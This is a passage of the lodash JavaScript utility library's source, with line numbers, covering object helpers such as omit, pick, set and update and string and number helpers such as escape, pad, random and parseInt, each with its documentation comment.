13567 * var other = { 'a': [3], 'b': [4] };
13568 *
13569 * _.mergeWith(object, other, customizer);
13570 * // => { 'a': [1, 3], 'b': [2, 4] }
13571 */
13572 var mergeWith = createAssigner(function(object, source, srcIndex, customizer) {
13573 baseMerge(object, source, srcIndex, customizer);
13574 });
13575
13576 /**
13577 * The opposite of `_.pick`; this method creates an object composed of the
13578 * own and inherited enumerable property paths of `object` that are not omitted.
13579 *
13580 * **Note:** This method is considerably slower than `_.pick`.
13581 *
13582 * @static
13583 * @since 0.1.0
13584 * @memberOf _
13585 * @category Object
13586 * @param {Object} object The source object.
13587 * @param {...(string|string[])} [paths] The property paths to omit.
13588 * @returns {Object} Returns the new object.
13589 * @example
13590 *
13591 * var object = { 'a': 1, 'b': '2', 'c': 3 };
13592 *
13593 * _.omit(object, ['a', 'c']);
13594 * // => { 'b': '2' }
13595 */
13596 var omit = flatRest(function(object, paths) {
13597 var result = {};
13598 if (object == null) {
13599 return result;
13600 }
13601 var isDeep = false;
13602 paths = arrayMap(paths, function(path) {
13603 path = castPath(path, object);
13604 isDeep || (isDeep = path.length > 1);
13605 return path;
13606 });
13607 copyObject(object, getAllKeysIn(object), result);
13608 if (isDeep) {
13609 result = baseClone(result, CLONE_DEEP_FLAG | CLONE_FLAT_FLAG | CLONE_SYMBOLS_FLAG, customOmitClone);
13610 }
13611 var length = paths.length;
13612 while (length--) {
13613 baseUnset(result, paths[length]);
13614 }
13615 return result;
13616 });
13617
13618 /**
13619 * The opposite of `_.pickBy`; this method creates an object composed of
13620 * the own and inherited enumerable string keyed properties of `object` that
13621 * `predicate` doesn't return truthy for. The predicate is invoked with two
13622 * arguments: (value, key).
13623 *
13624 * @static
13625 * @memberOf _
13626 * @since 4.0.0
13627 * @category Object
13628 * @param {Object} object The source object.
13629 * @param {Function} [predicate=_.identity] The function invoked per property.
13630 * @returns {Object} Returns the new object.
13631 * @example
13632 *
13633 * var object = { 'a': 1, 'b': '2', 'c': 3 };
13634 *
13635 * _.omitBy(object, _.isNumber);
13636 * // => { 'b': '2' }
13637 */
13638 function omitBy(object, predicate) {
13639 return pickBy(object, negate(getIteratee(predicate)));
13640 }
13641
13642 /**
13643 * Creates an object composed of the picked `object` properties.
13644 *
13645 * @static
13646 * @since 0.1.0
13647 * @memberOf _
13648 * @category Object
13649 * @param {Object} object The source object.
13650 * @param {...(string|string[])} [paths] The property paths to pick.
13651 * @returns {Object} Returns the new object.
13652 * @example
13653 *
13654 * var object = { 'a': 1, 'b': '2', 'c': 3 };
13655 *
13656 * _.pick(object, ['a', 'c']);
13657 * // => { 'a': 1, 'c': 3 }
13658 */
13659 var pick = flatRest(function(object, paths) {
13660 return object == null ? {} : basePick(object, paths);
13661 });
13662
13663 /**
13664 * Creates an object composed of the `object` properties `predicate` returns
13665 * truthy for. The predicate is invoked with two arguments: (value, key).
13666 *
13667 * @static
13668 * @memberOf _
13669 * @since 4.0.0
13670 * @category Object
13671 * @param {Object} object The source object.
13672 * @param {Function} [predicate=_.identity] The function invoked per property.
13673 * @returns {Object} Returns the new object.
13674 * @example
13675 *
13676 * var object = { 'a': 1, 'b': '2', 'c': 3 };
13677 *
13678 * _.pickBy(object, _.isNumber);
13679 * // => { 'a': 1, 'c': 3 }
13680 */
13681 function pickBy(object, predicate) {
13682 if (object == null) {
13683 return {};
13684 }
13685 var props = arrayMap(getAllKeysIn(object), function(prop) {
13686 return [prop];
13687 });
13688 predicate = getIteratee(predicate);
13689 return basePickBy(object, props, function(value, path) {
13690 return predicate(value, path[0]);
13691 });
13692 }
13693
13694 /**
13695 * This method is like `_.get` except that if the resolved value is a
13696 * function it's invoked with the `this` binding of its parent object and
13697 * its result is returned.
13698 *
13699 * @static
13700 * @since 0.1.0
13701 * @memberOf _
13702 * @category Object
13703 * @param {Object} object The object to query.
13704 * @param {Array|string} path The path of the property to resolve.
13705 * @param {*} [defaultValue] The value returned for `undefined` resolved values.
13706 * @returns {*} Returns the resolved value.
13707 * @example
13708 *
13709 * var object = { 'a': [{ 'b': { 'c1': 3, 'c2': _.constant(4) } }] };
13710 *
13711 * _.result(object, 'a[0].b.c1');
13712 * // => 3
13713 *
13714 * _.result(object, 'a[0].b.c2');
13715 * // => 4
13716 *
13717 * _.result(object, 'a[0].b.c3', 'default');
13718 * // => 'default'
13719 *
13720 * _.result(object, 'a[0].b.c3', _.constant('default'));
13721 * // => 'default'
13722 */
13723 function result(object, path, defaultValue) {
13724 path = castPath(path, object);
13725
13726 var index = -1,
13727 length = path.length;
13728
13729 // Ensure the loop is entered when path is empty.
13730 if (!length) {
13731 length = 1;
13732 object = undefined;
13733 }
13734 while (++index < length) {
13735 var value = object == null ? undefined : object[toKey(path[index])];
13736 if (value === undefined) {
13737 index = length;
13738 value = defaultValue;
13739 }
13740 object = isFunction(value) ? value.call(object) : value;
13741 }
13742 return object;
13743 }
13744
13745 /**
13746 * Sets the value at `path` of `object`. If a portion of `path` doesn't exist,
13747 * it's created. Arrays are created for missing index properties while objects
13748 * are created for all other missing properties. Use `_.setWith` to customize
13749 * `path` creation.
13750 *
13751 * **Note:** This method mutates `object`.
13752 *
13753 * @static
13754 * @memberOf _
13755 * @since 3.7.0
13756 * @category Object
13757 * @param {Object} object The object to modify.
13758 * @param {Array|string} path The path of the property to set.
13759 * @param {*} value The value to set.
13760 * @returns {Object} Returns `object`.
13761 * @example
13762 *
13763 * var object = { 'a': [{ 'b': { 'c': 3 } }] };
13764 *
13765 * _.set(object, 'a[0].b.c', 4);
13766 * console.log(object.a[0].b.c);
13767 * // => 4
13768 *
13769 * _.set(object, ['x', '0', 'y', 'z'], 5);
13770 * console.log(object.x[0].y.z);
13771 * // => 5
13772 */
13773 function set(object, path, value) {
13774 return object == null ? object : baseSet(object, path, value);
13775 }
13776
13777 /**
13778 * This method is like `_.set` except that it accepts `customizer` which is
13779 * invoked to produce the objects of `path`. If `customizer` returns `undefined`
13780 * path creation is handled by the method instead. The `customizer` is invoked
13781 * with three arguments: (nsValue, key, nsObject).
13782 *
13783 * **Note:** This method mutates `object`.
13784 *
13785 * @static
13786 * @memberOf _
13787 * @since 4.0.0
13788 * @category Object
13789 * @param {Object} object The object to modify.
13790 * @param {Array|string} path The path of the property to set.
13791 * @param {*} value The value to set.
13792 * @param {Function} [customizer] The function to customize assigned values.
13793 * @returns {Object} Returns `object`.
13794 * @example
13795 *
13796 * var object = {};
13797 *
13798 * _.setWith(object, '[0][1]', 'a', Object);
13799 * // => { '0': { '1': 'a' } }
13800 */
13801 function setWith(object, path, value, customizer) {
13802 customizer = typeof customizer == 'function' ? customizer : undefined;
13803 return object == null ? object : baseSet(object, path, value, customizer);
13804 }
13805
13806 /**
13807 * Creates an array of own enumerable string keyed-value pairs for `object`
13808 * which can be consumed by `_.fromPairs`. If `object` is a map or set, its
13809 * entries are returned.
13810 *
13811 * @static
13812 * @memberOf _
13813 * @since 4.0.0
13814 * @alias entries
13815 * @category Object
13816 * @param {Object} object The object to query.
13817 * @returns {Array} Returns the key-value pairs.
13818 * @example
13819 *
13820 * function Foo() {
13821 * this.a = 1;
13822 * this.b = 2;
13823 * }
13824 *
13825 * Foo.prototype.c = 3;
13826 *
13827 * _.toPairs(new Foo);
13828 * // => [['a', 1], ['b', 2]] (iteration order is not guaranteed)
13829 */
13830 var toPairs = createToPairs(keys);
13831
13832 /**
13833 * Creates an array of own and inherited enumerable string keyed-value pairs
13834 * for `object` which can be consumed by `_.fromPairs`. If `object` is a map
13835 * or set, its entries are returned.
13836 *
13837 * @static
13838 * @memberOf _
13839 * @since 4.0.0
13840 * @alias entriesIn
13841 * @category Object
13842 * @param {Object} object The object to query.
13843 * @returns {Array} Returns the key-value pairs.
13844 * @example
13845 *
13846 * function Foo() {
13847 * this.a = 1;
13848 * this.b = 2;
13849 * }
13850 *
13851 * Foo.prototype.c = 3;
13852 *
13853 * _.toPairsIn(new Foo);
13854 * // => [['a', 1], ['b', 2], ['c', 3]] (iteration order is not guaranteed)
13855 */
13856 var toPairsIn = createToPairs(keysIn);
13857
13858 /**
13859 * An alternative to `_.reduce`; this method transforms `object` to a new
13860 * `accumulator` object which is the result of running each of its own
13861 * enumerable string keyed properties thru `iteratee`, with each invocation
13862 * potentially mutating the `accumulator` object. If `accumulator` is not
13863 * provided, a new object with the same `[[Prototype]]` will be used. The
13864 * iteratee is invoked with four arguments: (accumulator, value, key, object).
13865 * Iteratee functions may exit iteration early by explicitly returning `false`.
13866 *
13867 * @static
13868 * @memberOf _
13869 * @since 1.3.0
13870 * @category Object
13871 * @param {Object} object The object to iterate over.
13872 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
13873 * @param {*} [accumulator] The custom accumulator value.
13874 * @returns {*} Returns the accumulated value.
13875 * @example
13876 *
13877 * _.transform([2, 3, 4], function(result, n) {
13878 * result.push(n *= n);
13879 * return n % 2 == 0;
13880 * }, []);
13881 * // => [4, 9]
13882 *
13883 * _.transform({ 'a': 1, 'b': 2, 'c': 1 }, function(result, value, key) {
13884 * (result[value] || (result[value] = [])).push(key);
13885 * }, {});
13886 * // => { '1': ['a', 'c'], '2': ['b'] }
13887 */
13888 function transform(object, iteratee, accumulator) {
13889 var isArr = isArray(object),
13890 isArrLike = isArr || isBuffer(object) || isTypedArray(object);
13891
13892 iteratee = getIteratee(iteratee, 4);
13893 if (accumulator == null) {
13894 var Ctor = object && object.constructor;
13895 if (isArrLike) {
13896 accumulator = isArr ? new Ctor : [];
13897 }
13898 else if (isObject(object)) {
13899 accumulator = isFunction(Ctor) ? baseCreate(getPrototype(object)) : {};
13900 }
13901 else {
13902 accumulator = {};
13903 }
13904 }
13905 (isArrLike ? arrayEach : baseForOwn)(object, function(value, index, object) {
13906 return iteratee(accumulator, value, index, object);
13907 });
13908 return accumulator;
13909 }
13910
13911 /**
13912 * Removes the property at `path` of `object`.
13913 *
13914 * **Note:** This method mutates `object`.
13915 *
13916 * @static
13917 * @memberOf _
13918 * @since 4.0.0
13919 * @category Object
13920 * @param {Object} object The object to modify.
13921 * @param {Array|string} path The path of the property to unset.
13922 * @returns {boolean} Returns `true` if the property is deleted, else `false`.
13923 * @example
13924 *
13925 * var object = { 'a': [{ 'b': { 'c': 7 } }] };
13926 * _.unset(object, 'a[0].b.c');
13927 * // => true
13928 *
13929 * console.log(object);
13930 * // => { 'a': [{ 'b': {} }] };
13931 *
13932 * _.unset(object, ['a', '0', 'b', 'c']);
13933 * // => true
13934 *
13935 * console.log(object);
13936 * // => { 'a': [{ 'b': {} }] };
13937 */
13938 function unset(object, path) {
13939 return object == null ? true : baseUnset(object, path);
13940 }
13941
13942 /**
13943 * This method is like `_.set` except that accepts `updater` to produce the
13944 * value to set. Use `_.updateWith` to customize `path` creation. The `updater`
13945 * is invoked with one argument: (value).
13946 *
13947 * **Note:** This method mutates `object`.
13948 *
13949 * @static
13950 * @memberOf _
13951 * @since 4.6.0
13952 * @category Object
13953 * @param {Object} object The object to modify.
13954 * @param {Array|string} path The path of the property to set.
13955 * @param {Function} updater The function to produce the updated value.
13956 * @returns {Object} Returns `object`.
13957 * @example
13958 *
13959 * var object = { 'a': [{ 'b': { 'c': 3 } }] };
13960 *
13961 * _.update(object, 'a[0].b.c', function(n) { return n * n; });
13962 * console.log(object.a[0].b.c);
13963 * // => 9
13964 *
13965 * _.update(object, 'x[0].y.z', function(n) { return n ? n + 1 : 0; });
13966 * console.log(object.x[0].y.z);
13967 * // => 0
13968 */
13969 function update(object, path, updater) {
13970 return object == null ? object : baseUpdate(object, path, castFunction(updater));
13971 }
13972
13973 /**
13974 * This method is like `_.update` except that it accepts `customizer` which is
13975 * invoked to produce the objects of `path`. If `customizer` returns `undefined`
13976 * path creation is handled by the method instead. The `customizer` is invoked
13977 * with three arguments: (nsValue, key, nsObject).
13978 *
13979 * **Note:** This method mutates `object`.
13980 *
13981 * @static
13982 * @memberOf _
13983 * @since 4.6.0
13984 * @category Object
13985 * @param {Object} object The object to modify.
13986 * @param {Array|string} path The path of the property to set.
13987 * @param {Function} updater The function to produce the updated value.
13988 * @param {Function} [customizer] The function to customize assigned values.
13989 * @returns {Object} Returns `object`.
13990 * @example
13991 *
13992 * var object = {};
13993 *
13994 * _.updateWith(object, '[0][1]', _.constant('a'), Object);
13995 * // => { '0': { '1': 'a' } }
13996 */
13997 function updateWith(object, path, updater, customizer) {
13998 customizer = typeof customizer == 'function' ? customizer : undefined;
13999 return object == null ? object : baseUpdate(object, path, castFunction(updater), customizer);
14000 }
14001
14002 /**
14003 * Creates an array of the own enumerable string keyed property values of `object`.
14004 *
14005 * **Note:** Non-object values are coerced to objects.
14006 *
14007 * @static
14008 * @since 0.1.0
14009 * @memberOf _
14010 * @category Object
14011 * @param {Object} object The object to query.
14012 * @returns {Array} Returns the array of property values.
14013 * @example
14014 *
14015 * function Foo() {
14016 * this.a = 1;
14017 * this.b = 2;
14018 * }
14019 *
14020 * Foo.prototype.c = 3;
14021 *
14022 * _.values(new Foo);
14023 * // => [1, 2] (iteration order is not guaranteed)
14024 *
14025 * _.values('hi');
14026 * // => ['h', 'i']
14027 */
14028 function values(object) {
14029 return object == null ? [] : baseValues(object, keys(object));
14030 }
14031
14032 /**
14033 * Creates an array of the own and inherited enumerable string keyed property
14034 * values of `object`.
14035 *
14036 * **Note:** Non-object values are coerced to objects.
14037 *
14038 * @static
14039 * @memberOf _
14040 * @since 3.0.0
14041 * @category Object
14042 * @param {Object} object The object to query.
14043 * @returns {Array} Returns the array of property values.
14044 * @example
14045 *
14046 * function Foo() {
14047 * this.a = 1;
14048 * this.b = 2;
14049 * }
14050 *
14051 * Foo.prototype.c = 3;
14052 *
14053 * _.valuesIn(new Foo);
14054 * // => [1, 2, 3] (iteration order is not guaranteed)
14055 */
14056 function valuesIn(object) {
14057 return object == null ? [] : baseValues(object, keysIn(object));
14058 }
14059
14060 /*------------------------------------------------------------------------*/
14061
14062 /**
14063 * Clamps `number` within the inclusive `lower` and `upper` bounds.
14064 *
14065 * @static
14066 * @memberOf _
14067 * @since 4.0.0
14068 * @category Number
14069 * @param {number} number The number to clamp.
14070 * @param {number} [lower] The lower bound.
14071 * @param {number} upper The upper bound.
14072 * @returns {number} Returns the clamped number.
14073 * @example
14074 *
14075 * _.clamp(-10, -5, 5);
14076 * // => -5
14077 *
14078 * _.clamp(10, -5, 5);
14079 * // => 5
14080 */
14081 function clamp(number, lower, upper) {
14082 if (upper === undefined) {
14083 upper = lower;
14084 lower = undefined;
14085 }
14086 if (upper !== undefined) {
14087 upper = toNumber(upper);
14088 upper = upper === upper ? upper : 0;
14089 }
14090 if (lower !== undefined) {
14091 lower = toNumber(lower);
14092 lower = lower === lower ? lower : 0;
14093 }
14094 return baseClamp(toNumber(number), lower, upper);
14095 }
14096
14097 /**
14098 * Checks if `n` is between `start` and up to, but not including, `end`. If
14099 * `end` is not specified, it's set to `start` with `start` then set to `0`.
14100 * If `start` is greater than `end` the params are swapped to support
14101 * negative ranges.
14102 *
14103 * @static
14104 * @memberOf _
14105 * @since 3.3.0
14106 * @category Number
14107 * @param {number} number The number to check.
14108 * @param {number} [start=0] The start of the range.
14109 * @param {number} end The end of the range.
14110 * @returns {boolean} Returns `true` if `number` is in the range, else `false`.
14111 * @see _.range, _.rangeRight
14112 * @example
14113 *
14114 * _.inRange(3, 2, 4);
14115 * // => true
14116 *
14117 * _.inRange(4, 8);
14118 * // => true
14119 *
14120 * _.inRange(4, 2);
14121 * // => false
14122 *
14123 * _.inRange(2, 2);
14124 * // => false
14125 *
14126 * _.inRange(1.2, 2);
14127 * // => true
14128 *
14129 * _.inRange(5.2, 4);
14130 * // => false
14131 *
14132 * _.inRange(-3, -2, -6);
14133 * // => true
14134 */
14135 function inRange(number, start, end) {
14136 start = toFinite(start);
14137 if (end === undefined) {
14138 end = start;
14139 start = 0;
14140 } else {
14141 end = toFinite(end);
14142 }
14143 number = toNumber(number);
14144 return baseInRange(number, start, end);
14145 }
14146
14147 /**
14148 * Produces a random number between the inclusive `lower` and `upper` bounds.
14149 * If only one argument is provided a number between `0` and the given number
14150 * is returned. If `floating` is `true`, or either `lower` or `upper` are
14151 * floats, a floating-point number is returned instead of an integer.
14152 *
14153 * **Note:** JavaScript follows the IEEE-754 standard for resolving
14154 * floating-point values which can produce unexpected results.
14155 *
14156 * **Note:** If `lower` is greater than `upper`, the values are swapped.
14157 *
14158 * @static
14159 * @memberOf _
14160 * @since 0.7.0
14161 * @category Number
14162 * @param {number} [lower=0] The lower bound.
14163 * @param {number} [upper=1] The upper bound.
14164 * @param {boolean} [floating] Specify returning a floating-point number.
14165 * @returns {number} Returns the random number.
14166 * @example
14167 *
14168 * _.random(0, 5);
14169 * // => an integer between 0 and 5
14170 *
14171 * // when lower is greater than upper the values are swapped
14172 * _.random(5, 0);
14173 * // => an integer between 0 and 5
14174 *
14175 * _.random(5);
14176 * // => also an integer between 0 and 5
14177 *
14178 * _.random(-5);
14179 * // => an integer between -5 and 0
14180 *
14181 * _.random(5, true);
14182 * // => a floating-point number between 0 and 5
14183 *
14184 * _.random(1.2, 5.2);
14185 * // => a floating-point number between 1.2 and 5.2
14186 */
14187 function random(lower, upper, floating) {
14188 if (floating && typeof floating != 'boolean' && isIterateeCall(lower, upper, floating)) {
14189 upper = floating = undefined;
14190 }
14191 if (floating === undefined) {
14192 if (typeof upper == 'boolean') {
14193 floating = upper;
14194 upper = undefined;
14195 }
14196 else if (typeof lower == 'boolean') {
14197 floating = lower;
14198 lower = undefined;
14199 }
14200 }
14201 if (lower === undefined && upper === undefined) {
14202 lower = 0;
14203 upper = 1;
14204 }
14205 else {
14206 lower = toFinite(lower);
14207 if (upper === undefined) {
14208 upper = lower;
14209 lower = 0;
14210 } else {
14211 upper = toFinite(upper);
14212 }
14213 }
14214 if (lower > upper) {
14215 var temp = lower;
14216 lower = upper;
14217 upper = temp;
14218 }
14219 if (floating || lower % 1 || upper % 1) {
14220 var rand = nativeRandom();
14221 return nativeMin(lower + (rand * (upper - lower + freeParseFloat('1e-' + ((rand + '').length - 1)))), upper);
14222 }
14223 return baseRandom(lower, upper);
14224 }
14225
14226 /*------------------------------------------------------------------------*/
14227
14228 /**
14229 * Converts `string` to [camel case](https://en.wikipedia.org/wiki/CamelCase).
14230 *
14231 * @static
14232 * @memberOf _
14233 * @since 3.0.0
14234 * @category String
14235 * @param {string} [string=''] The string to convert.
14236 * @returns {string} Returns the camel cased string.
14237 * @example
14238 *
14239 * _.camelCase('Foo Bar');
14240 * // => 'fooBar'
14241 *
14242 * _.camelCase('--foo-bar--');
14243 * // => 'fooBar'
14244 *
14245 * _.camelCase('__FOO_BAR__');
14246 * // => 'fooBar'
14247 */
14248 var camelCase = createCompounder(function(result, word, index) {
14249 word = word.toLowerCase();
14250 return result + (index ? capitalize(word) : word);
14251 });
14252
14253 /**
14254 * Converts the first character of `string` to upper case and the remaining
14255 * to lower case.
14256 *
14257 * @static
14258 * @memberOf _
14259 * @since 3.0.0
14260 * @category String
14261 * @param {string} [string=''] The string to capitalize.
14262 * @returns {string} Returns the capitalized string.
14263 * @example
14264 *
14265 * _.capitalize('FRED');
14266 * // => 'Fred'
14267 */
14268 function capitalize(string) {
14269 return upperFirst(toString(string).toLowerCase());
14270 }
14271
14272 /**
14273 * Deburrs `string` by converting
14274 * [Latin-1 Supplement](https://en.wikipedia.org/wiki/Latin-1_Supplement_(Unicode_block)#Character_table)
14275 * and [Latin Extended-A](https://en.wikipedia.org/wiki/Latin_Extended-A)
14276 * letters to basic Latin letters and removing
14277 * [combining diacritical marks](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks).
14278 *
14279 * @static
14280 * @memberOf _
14281 * @since 3.0.0
14282 * @category String
14283 * @param {string} [string=''] The string to deburr.
14284 * @returns {string} Returns the deburred string.
14285 * @example
14286 *
14287 * _.deburr('déjà vu');
14288 * // => 'deja vu'
14289 */
14290 function deburr(string) {
14291 string = toString(string);
14292 return string && string.replace(reLatin, deburrLetter).replace(reComboMark, '');
14293 }
14294
14295 /**
14296 * Checks if `string` ends with the given target string.
14297 *
14298 * @static
14299 * @memberOf _
14300 * @since 3.0.0
14301 * @category String
14302 * @param {string} [string=''] The string to inspect.
14303 * @param {string} [target] The string to search for.
14304 * @param {number} [position=string.length] The position to search up to.
14305 * @returns {boolean} Returns `true` if `string` ends with `target`,
14306 * else `false`.
14307 * @example
14308 *
14309 * _.endsWith('abc', 'c');
14310 * // => true
14311 *
14312 * _.endsWith('abc', 'b');
14313 * // => false
14314 *
14315 * _.endsWith('abc', 'b', 2);
14316 * // => true
14317 */
14318 function endsWith(string, target, position) {
14319 string = toString(string);
14320 target = baseToString(target);
14321
14322 var length = string.length;
14323 position = position === undefined
14324 ? length
14325 : baseClamp(toInteger(position), 0, length);
14326
14327 var end = position;
14328 position -= target.length;
14329 return position >= 0 && string.slice(position, end) == target;
14330 }
14331
14332 /**
14333 * Converts the characters "&", "<", ">", '"', and "'" in `string` to their
14334 * corresponding HTML entities.
14335 *
14336 * **Note:** No other characters are escaped. To escape additional
14337 * characters use a third-party library like [_he_](https://mths.be/he).
14338 *
14339 * Though the ">" character is escaped for symmetry, characters like
14340 * ">" and "/" don't need escaping in HTML and have no special meaning
14341 * unless they're part of a tag or unquoted attribute value. See
14342 * [Mathias Bynens's article](https://mathiasbynens.be/notes/ambiguous-ampersands)
14343 * (under "semi-related fun fact") for more details.
14344 *
14345 * When working with HTML you should always
14346 * [quote attribute values](http://wonko.com/post/html-escaping) to reduce
14347 * XSS vectors.
14348 *
14349 * @static
14350 * @since 0.1.0
14351 * @memberOf _
14352 * @category String
14353 * @param {string} [string=''] The string to escape.
14354 * @returns {string} Returns the escaped string.
14355 * @example
14356 *
14357 * _.escape('fred, barney, & pebbles');
14358 * // => 'fred, barney, &amp; pebbles'
14359 */
14360 function escape(string) {
14361 string = toString(string);
14362 return (string && reHasUnescapedHtml.test(string))
14363 ? string.replace(reUnescapedHtml, escapeHtmlChar)
14364 : string;
14365 }
14366
14367 /**
14368 * Escapes the `RegExp` special characters "^", "$", "\", ".", "*", "+",
14369 * "?", "(", ")", "[", "]", "{", "}", and "|" in `string`.
14370 *
14371 * @static
14372 * @memberOf _
14373 * @since 3.0.0
14374 * @category String
14375 * @param {string} [string=''] The string to escape.
14376 * @returns {string} Returns the escaped string.
14377 * @example
14378 *
14379 * _.escapeRegExp('[lodash](https://lodash.com/)');
14380 * // => '\[lodash\]\(https://lodash\.com/\)'
14381 */
14382 function escapeRegExp(string) {
14383 string = toString(string);
14384 return (string && reHasRegExpChar.test(string))
14385 ? string.replace(reRegExpChar, '\\$&')
14386 : string;
14387 }
14388
14389 /**
14390 * Converts `string` to
14391 * [kebab case](https://en.wikipedia.org/wiki/Letter_case#Special_case_styles).
14392 *
14393 * @static
14394 * @memberOf _
14395 * @since 3.0.0
14396 * @category String
14397 * @param {string} [string=''] The string to convert.
14398 * @returns {string} Returns the kebab cased string.
14399 * @example
14400 *
14401 * _.kebabCase('Foo Bar');
14402 * // => 'foo-bar'
14403 *
14404 * _.kebabCase('fooBar');
14405 * // => 'foo-bar'
14406 *
14407 * _.kebabCase('__FOO_BAR__');
14408 * // => 'foo-bar'
14409 */
14410 var kebabCase = createCompounder(function(result, word, index) {
14411 return result + (index ? '-' : '') + word.toLowerCase();
14412 });
14413
14414 /**
14415 * Converts `string`, as space separated words, to lower case.
14416 *
14417 * @static
14418 * @memberOf _
14419 * @since 4.0.0
14420 * @category String
14421 * @param {string} [string=''] The string to convert.
14422 * @returns {string} Returns the lower cased string.
14423 * @example
14424 *
14425 * _.lowerCase('--Foo-Bar--');
14426 * // => 'foo bar'
14427 *
14428 * _.lowerCase('fooBar');
14429 * // => 'foo bar'
14430 *
14431 * _.lowerCase('__FOO_BAR__');
14432 * // => 'foo bar'
14433 */
14434 var lowerCase = createCompounder(function(result, word, index) {
14435 return result + (index ? ' ' : '') + word.toLowerCase();
14436 });
14437
14438 /**
14439 * Converts the first character of `string` to lower case.
14440 *
14441 * @static
14442 * @memberOf _
14443 * @since 4.0.0
14444 * @category String
14445 * @param {string} [string=''] The string to convert.
14446 * @returns {string} Returns the converted string.
14447 * @example
14448 *
14449 * _.lowerFirst('Fred');
14450 * // => 'fred'
14451 *
14452 * _.lowerFirst('FRED');
14453 * // => 'fRED'
14454 */
14455 var lowerFirst = createCaseFirst('toLowerCase');
14456
14457 /**
14458 * Pads `string` on the left and right sides if it's shorter than `length`.
14459 * Padding characters are truncated if they can't be evenly divided by `length`.
14460 *
14461 * @static
14462 * @memberOf _
14463 * @since 3.0.0
14464 * @category String
14465 * @param {string} [string=''] The string to pad.
14466 * @param {number} [length=0] The padding length.
14467 * @param {string} [chars=' '] The string used as padding.
14468 * @returns {string} Returns the padded string.
14469 * @example
14470 *
14471 * _.pad('abc', 8);
14472 * // => ' abc '
14473 *
14474 * _.pad('abc', 8, '_-');
14475 * // => '_-abc_-_'
14476 *
14477 * _.pad('abc', 3);
14478 * // => 'abc'
14479 */
14480 function pad(string, length, chars) {
14481 string = toString(string);
14482 length = toInteger(length);
14483
14484 var strLength = length ? stringSize(string) : 0;
14485 if (!length || strLength >= length) {
14486 return string;
14487 }
14488 var mid = (length - strLength) / 2;
14489 return (
14490 createPadding(nativeFloor(mid), chars) +
14491 string +
14492 createPadding(nativeCeil(mid), chars)
14493 );
14494 }
14495
14496 /**
14497 * Pads `string` on the right side if it's shorter than `length`. Padding
14498 * characters are truncated if they exceed `length`.
14499 *
14500 * @static
14501 * @memberOf _
14502 * @since 4.0.0
14503 * @category String
14504 * @param {string} [string=''] The string to pad.
14505 * @param {number} [length=0] The padding length.
14506 * @param {string} [chars=' '] The string used as padding.
14507 * @returns {string} Returns the padded string.
14508 * @example
14509 *
14510 * _.padEnd('abc', 6);
14511 * // => 'abc '
14512 *
14513 * _.padEnd('abc', 6, '_-');
14514 * // => 'abc_-_'
14515 *
14516 * _.padEnd('abc', 3);
14517 * // => 'abc'
14518 */
14519 function padEnd(string, length, chars) {
14520 string = toString(string);
14521 length = toInteger(length);
14522
14523 var strLength = length ? stringSize(string) : 0;
14524 return (length && strLength < length)
14525 ? (string + createPadding(length - strLength, chars))
14526 : string;
14527 }
14528
14529 /**
14530 * Pads `string` on the left side if it's shorter than `length`. Padding
14531 * characters are truncated if they exceed `length`.
14532 *
14533 * @static
14534 * @memberOf _
14535 * @since 4.0.0
14536 * @category String
14537 * @param {string} [string=''] The string to pad.
14538 * @param {number} [length=0] The padding length.
14539 * @param {string} [chars=' '] The string used as padding.
14540 * @returns {string} Returns the padded string.
14541 * @example
14542 *
14543 * _.padStart('abc', 6);
14544 * // => ' abc'
14545 *
14546 * _.padStart('abc', 6, '_-');
14547 * // => '_-_abc'
14548 *
14549 * _.padStart('abc', 3);
14550 * // => 'abc'
14551 */
14552 function padStart(string, length, chars) {
14553 string = toString(string);
14554 length = toInteger(length);
14555
14556 var strLength = length ? stringSize(string) : 0;
14557 return (length && strLength < length)
14558 ? (createPadding(length - strLength, chars) + string)
14559 : string;
14560 }
14561
14562 /**
14563 * Converts `string` to an integer of the specified radix. If `radix` is
14564 * `undefined` or `0`, a `radix` of `10` is used unless `value` is a
14565 * hexadecimal, in which case a `radix` of `16` is used.
14566 *
14567 * **Note:** This method aligns with the
14568 * [ES5 implementation](https://es5.github.io/#x15.1.2.2) of `parseInt`.
14569 *
14570 * @static
14571 * @memberOf _
14572 * @since 1.1.0
14573 * @category String
14574 * @param {string} string The string to convert.
14575 * @param {number} [radix=10] The radix to interpret `value` by.
14576 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
14577 * @returns {number} Returns the converted integer.
14578 * @example
14579 *
14580 * _.parseInt('08');
14581 * // => 8
14582 *
14583 * _.map(['6', '08', '10'], _.parseInt);
14584 * // => [6, 8, 10]
14585 */
14586 function parseInt(string, radix, guard) {
14587 if (guard || radix == null) {
14588 radix = 0;
14589 } else if (radix) {
14590 radix = +radix;
14591 }
14592 return nativeParseInt(toString(string).replace(reTrimStart, ''), radix || 0);
14593 }
14594
14595 /**
14596 * Repeats the given string `n` times.
14597 *
14598 * @static
14599 * @memberOf _
14600 * @since 3.0.0
14601 * @category String
14602 * @param {string} [string=''] The string to repeat.
14603 * @param {number} [n=1] The number of times to repeat the string.
14604 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
14605 * @returns {string} Returns the repeated string.
14606 * @example
14607 *
14608 * _.repeat('*', 3);
14609 * // => '***'
14610 *
14611 * _.repeat('abc', 2);
14612 * // => 'abcabc'
14613 *
14614 * _.repeat('abc', 0);
14615 * // => ''
14616 */
14617 function repeat(string, n, guard) {
14618 if ((guard ? isIterateeCall(string, n, guard) : n === undefined)) {
14619 n = 1;
14620 } else {
14621 n = toInteger(n);
14622 }
14623 return baseRepeat(toString(string), n);
14624 }
14625
14626 /**
14627 * Replaces matches for `pattern` in `string` with `replacement`.
14628 *
14629 * **Note:** This method is based on
14630 * [`String#replace`](https://mdn.io/String/replace).
14631 *
14632 * @static
14633 * @memberOf _
14634 * @since 4.0.0
14635 * @category String
14636 * @param {string} [string=''] The string to modify.
14637 * @param {RegExp|string} pattern The pattern to replace.
14638 * @param {Function|string} replacement The match replacement.
14639 * @returns {string} Returns the modified string.
14640 * @example
14641 *
14642 * _.replace('Hi Fred', 'Fred', 'Barney');
14643 * // => 'Hi Barney'
14644 */
14645 function replace() {
14646 var args = arguments,
14647 string = toString(args[0]);
14648
14649 return args.length < 3 ? string : string.replace(args[1], args[2]);
14650 }
14651
14652 /**
14653 * Converts `string` to
14654 * [snake case](https://en.wikipedia.org/wiki/Snake_case).
14655 *
14656 * @static
14657 * @memberOf _
14658 * @since 3.0.0
14659 * @category String
14660 * @param {string} [string=''] The string to convert.
